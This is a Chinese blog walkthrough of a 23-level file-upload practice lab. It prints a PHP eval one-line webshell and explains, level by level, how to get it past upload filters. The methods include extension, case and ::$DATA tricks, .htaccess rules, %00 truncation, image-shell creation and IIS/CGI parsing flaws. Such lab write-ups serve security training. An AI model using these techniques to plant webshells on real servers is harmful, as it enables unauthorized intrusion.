文件上传靶场

文件上传靶场

整理磁盘的时候莫名其妙发现这个半年前写的blog没发,今天发上来,这是一个比较经典的文件上传靶场,类型比较全。

image
不知道是因为玄学还是菜刀解析问题,我之前写php马是这样的

<?php eval($_GET[“a”])?>

但是今天发现这样写马根本连不上,菜刀无限返回200,清了N遍缓存也没用,无奈百度和询问dalao,得知应该这样写。

<?php @eval($_GET[“a”])?>

可是@的意思不少抑制报错吗,没有@最多是木马报错,会把菜刀密码暴露出来,这和菜刀的连接我觉得是半毛钱关系也没有。

Pass-01

考点:前端验证绕过

方法1:

抓包然后把里面的jpg换成php即可

方法2:

利用firefox插件no js,关闭js,直接上传即可

Pass-02

考点:Content-Type方式绕过

讲一句话木马文件后缀改成jpg,然后抓包,把包里的jpg后缀改回php即可,满足了Content-Type的要求

Pass-03

考点:黑名单绕过

看源码得知,不允许上传

1
.asp,.aspx,.php,.jsp

但是过滤这些根本不够,有些后缀不在里面却可以被解析位里面这些。
例如:

1
jsp jspx jspf
1
asp aspa cer  aspx
1
php php3 php4 php5 phtml
1
exe exee

所以讲上传后缀改为php3 php4 php5 phtml均可以实现传马。

Pass-04

考点:.htaccess文件绕过

.htaccess文件是一个配置文件,可以实现改变文件解析配置的作用,但是在windows下重名名不能命名为.htaccess,所以要使用命令行的ren指令才可以。(网上说不行,但是我实测是可以的)(双手挠头???)文件内容是

AddType application/x-httpd-php .jpg

意思是把jpg文件当作php来解析,但是.htaccess文件配置只有管理员开启才能使用,默认是关闭的。

Pass-05

考点:后缀大小写绕过

也很简单,就算php和Php不一样,但是都会解析成php,改个后缀即可。

Pass-06

考点:文件后缀(空)绕过

比如.php和.php 两个后缀是不一样的,后面那个后缀有一个空格,但是由于windows的解析特性,会忽略空格,所以.php 也会解析成php文件

Pass-07

考点:文件后缀(点)绕过

和上面那个题类似,由于windows的特性,导致解析文件时会删去文件末尾的一个.,比如.php.会被解析成.php

Pass-08

考点:::$DATA(Windows文件流绕过)

由于NTFS机制,一个文件可以携带多个文件流,但是windows自带的资源管理器只能读取宿主文件,寄宿文件是无法读取的。
比如命令

echo abcd>>123.txt

会把abcd写入123.txt中,但是如果命令改成这样

echo abcd>>123.txt:456.txt

abcd会被写入456.txt,但是读取的时候读的是宿主文件123.txt。里面显示为0字节,但是在实际的硬盘存储里,它由于456.txt文件流的存在,实际上是占字节的,那么如何读取b.txt里面的内容呢?

notepad 123.txt:456.txt

那么如果我们不写456.txt而写成::$DATA呢

echo abcd>>123.txt::$DATA

打开会直接显示为abcd,但是应用在文件上传里可以使后缀变得不一样,绕过黑名单检测机制。(也可以用来隐藏一些东西)

Pass-09

考点:构造文件后缀绕过

waf先去除.然后去除空,再去除::$DATA,再黑名单检测有没有php之类的敏感字符。

我们可以构造后缀.php. .

那么waf先去除.再去除 ,然后剩下.php.,不在黑名单中,成功过waf

Pass-10

考点:双写文件后缀绕过

waf在检测到php后会将php删去,那我们可以构造后缀pphphp,将中间的php删去之后还留下一个php,这样可以达到文件解析的作用1

Pass-11

考点:%00截断绕过(GET)

抓包,发现可以控制save_path在url后面加%00,函数在执行的时候会认为00是字符串末尾,后面将不会再进行处理。

Pass-12

考点:%00截断绕过(POST)

(在post的数据),后面加(hex)00字符

Pass-13

考点:图片马绕过

找一张小一点的图片,在cmd命令行运行以下命令

1
copy 1.jpg/b+2.txt 3.jpg

即可制作图片马,上传即可

Pass-14

考点:getimagesize图片类型绕过

运用上题命令也可绕过

Pass-15

考点:php_exif模块图片类型绕过

看源码是使用exif_imagetype()检查是否为图片文件,依然使用windows的copy命令即可

Pass-16

考点:二次渲染绕过

其实还是用copy命令制作的图片马,依然是差不多的。

Pass-17

考点:条件竞争绕过

服务器是先允许任何文件上传,如果文件是php文件或者其它不允许上传的文件,就会把文件删掉,但是函数执行有一定的时间,使用bp200线程,一边上传,一边访问该文件(以phpinfo举例)当出现较大数据包时,即为成功。

Pass-18

原理差不多,题目有bug做不了

Pass-19

考点:move_uploaded_file()截断

同12题一样,用00绕过即可。

Pass-20

考点:IIS6.0解析漏洞(一)

asa,cer,aspx都可以被解析成asp

见第三题。

Pass-21

考点:IIS6.0解析漏洞(二)

比如asp;.jpg会以asp进行解析

或者asp/.jpg,前面的asp文件会正常解析。

Pass-22

考点:IIS6.0解析漏洞(三)

在图片马后面加上/.php即可成功解析

Pass-23

考点:CGI解析漏洞

asp/1.jpg,可以上传合法的“图片”(图片木马)然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell。
这不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也经常会出现这样的解析漏洞。

文章目录
  1. 1. 文件上传靶场
  • Pass-01
  • Pass-02
  • Pass-03
  • Pass-04
  • Pass-05
  • Pass-06
  • Pass-07
  • Pass-08
  • Pass-09
  • Pass-10
  • Pass-11
  • Pass-12
  • Pass-13
  • Pass-14
  • Pass-15
  • Pass-16
  • Pass-17
  • Pass-18
  • Pass-19
  • Pass-20
  • Pass-21
  • Pass-22
  • Pass-23
  • ,